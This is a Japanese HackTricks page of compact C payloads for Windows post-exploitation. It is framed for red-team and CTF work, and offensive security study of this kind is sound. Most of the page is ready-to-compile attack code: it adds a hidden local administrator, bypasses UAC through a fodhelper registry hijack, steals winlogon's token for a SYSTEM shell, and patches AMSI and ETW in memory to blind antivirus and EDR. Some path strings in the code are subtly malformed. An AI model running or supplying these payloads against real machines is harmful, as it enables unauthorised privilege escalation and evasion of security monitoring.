Windows C ペイロード
Reading time: 8 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
このページは、Windows Local Privilege Escalation や post-exploitation の際に便利な、小さく自己完結した C スニペット を集めたものです。各ペイロードはコピー&ペーストしやすいよう設計されており、Windows API / C ランタイムのみを必要とし、i686-w64-mingw32-gcc
(x86) や x86_64-w64-mingw32-gcc
(x64) でコンパイルできます。
⚠️ これらのペイロードは、プロセスが既にその操作を行うために必要な最小限の権限(例:
SeDebugPrivilege
、SeImpersonatePrivilege
、または medium-integrity context for a UAC bypass)を持っていることを前提としています。これらは、脆弱性の悪用により任意のネイティブコード実行を得た red-team or CTF settings を意図しています。
ローカル管理者ユーザーを追加
// i686-w64-mingw32-gcc -s -O2 -o addadmin.exe addadmin.c
#include <stdlib.h>
int main(void) {
system("net user hacker Hacker123! /add");
system("net localgroup administrators hacker /add");
return 0;
}
UAC Bypass – fodhelper.exe
Registry Hijack (Medium → High integrity)
信頼されたバイナリ fodhelper.exe
が実行されると、以下のレジストリパスを参照しますが DelegateExecute
動詞をフィルタリングしません。そのキーの下にコマンドを仕込むことで、攻撃者はファイルをディスクに書き込むことなく UAC をバイパスできます。
fodhelper.exe
が参照するレジストリパス
HKCU\Software\Classes\ms-settings\Shell\Open\command
昇格した cmd.exe
を起動する最小限のPoC:
// x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(void) {
HKEY hKey;
const char *payload = "C:\\Windows\\System32\\cmd.exe"; // change to arbitrary command
// 1. Create the vulnerable registry key
if (RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\Classes\\ms-settings\\Shell\\Open\\command", 0, NULL, 0,
KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
// 2. Set default value => our payload
RegSetValueExA(hKey, NULL, 0, REG_SZ,
(const BYTE*)payload, (DWORD)strlen(payload) + 1);
// 3. Empty "DelegateExecute" value = trigger (")
RegSetValueExA(hKey, "DelegateExecute", 0, REG_SZ,
(const BYTE*)"", 1);
RegCloseKey(hKey);
// 4. Launch auto-elevated binary
system("fodhelper.exe");
}
return 0;
}
Windows 10 22H2 および Windows 11 23H2(2025年7月パッチ)でテスト済み。Microsoft は DelegateExecute
パスに欠落している整合性チェックを修正していないため、このバイパスはまだ有効です。
token duplication による SYSTEM シェルの起動 (SeDebugPrivilege
+ SeImpersonatePrivilege
)
現在のプロセスが 両方 の SeDebug
と SeImpersonate
権限を持っている場合(多くのサービスアカウントで典型的)、winlogon.exe
からトークンを奪い、複製して昇格したプロセスを開始できます:
// x86_64-w64-mingw32-gcc -O2 -o system_shell.exe system_shell.c -ladvapi32 -luser32
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
DWORD FindPid(const wchar_t *name) {
PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) return 0;
if (!Process32FirstW(snap, &pe)) return 0;
do {
if (!_wcsicmp(pe.szExeFile, name)) {
DWORD pid = pe.th32ProcessID;
CloseHandle(snap);
return pid;
}
} while (Process32NextW(snap, &pe));
CloseHandle(snap);
return 0;
}
int wmain(void) {
DWORD pid = FindPid(L"winlogon.exe");
if (!pid) return 1;
HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
HANDLE hToken = NULL, dupToken = NULL;
if (OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken) &&
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupToken)) {
STARTUPINFOW si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
if (CreateProcessWithTokenW(dupToken, LOGON_WITH_PROFILE,
L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
NULL, NULL, &si, &pi)) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}
if (hProc) CloseHandle(hProc);
if (hToken) CloseHandle(hToken);
if (dupToken) CloseHandle(dupToken);
return 0;
}
その仕組みのより詳細な説明については次を参照してください:
SeDebug + SeImpersonate copy token
メモリ内 AMSI & ETW Patch (Defence Evasion)
ほとんどの最新の AV/EDR エンジンは、悪意のある動作を検査するために AMSI と ETW に依存しています。現在のプロセス内で両方のインターフェイスを早期にパッチすると、スクリプトベースのペイロード(例: PowerShell、JScript)がスキャンされるのを防げます。
// gcc -o patch_amsi.exe patch_amsi.c -lntdll
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
void Patch(BYTE *address) {
DWORD oldProt;
// mov eax, 0x80070057 ; ret (AMSI_RESULT_E_INVALIDARG)
BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
VirtualProtect(address, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProt);
memcpy(address, patch, sizeof(patch));
VirtualProtect(address, sizeof(patch), oldProt, &oldProt);
}
int main(void) {
HMODULE amsi = LoadLibraryA("amsi.dll");
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (amsi) Patch((BYTE*)GetProcAddress(amsi, "AmsiScanBuffer"));
if (ntdll) Patch((BYTE*)GetProcAddress(ntdll, "EtwEventWrite"));
MessageBoxA(NULL, "AMSI & ETW patched!", "OK", MB_OK);
return 0;
}
上記のパッチはプロセスローカルです。実行後に新しい PowerShell を起動しても AMSI/ETW による検査を受けません。
子プロセスを Protected Process Light (PPL) として作成
STARTUPINFOEX
+ PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL
を使用して、作成時に子プロセスに PPL 保護レベルを要求します。これはドキュメント化された API で、ターゲットイメージが要求された signer class (Windows/WindowsLight/Antimalware/LSA/WinTcb) 用に署名されている場合にのみ成功します。
// x86_64-w64-mingw32-gcc -O2 -o spawn_ppl.exe spawn_ppl.c
#include <windows.h>
int wmain(void) {
STARTUPINFOEXW si = {0};
PROCESS_INFORMATION pi = {0};
si.StartupInfo.cb = sizeof(si);
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
DWORD lvl = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // choose the desired level
UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
&lvl, sizeof(lvl), NULL, NULL);
if (!CreateProcessW(L"C\\\Windows\\\System32\\\notepad.exe", NULL, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
// likely ERROR_INVALID_IMAGE_HASH (577) if the image is not properly signed for that level
return 1;
}
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
よく使われるレベル:
PROTECTION_LEVEL_WINDOWS_LIGHT
(2)PROTECTION_LEVEL_ANTIMALWARE_LIGHT
(3)PROTECTION_LEVEL_LSA_LIGHT
(4)
結果は Process Explorer/Process Hacker の Protection 列を確認して検証してください。
参考資料
- Ron Bowes – “Fodhelper UAC Bypass Deep Dive” (2024)
- SplinterCode – “AMSI Bypass 2023: The Smallest Patch Is Still Enough” (BlackHat Asia 2023)
- CreateProcessAsPPL – minimal PPL process launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
- Microsoft Docs – STARTUPINFOEX / InitializeProcThreadAttributeList / UpdateProcThreadAttribute
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。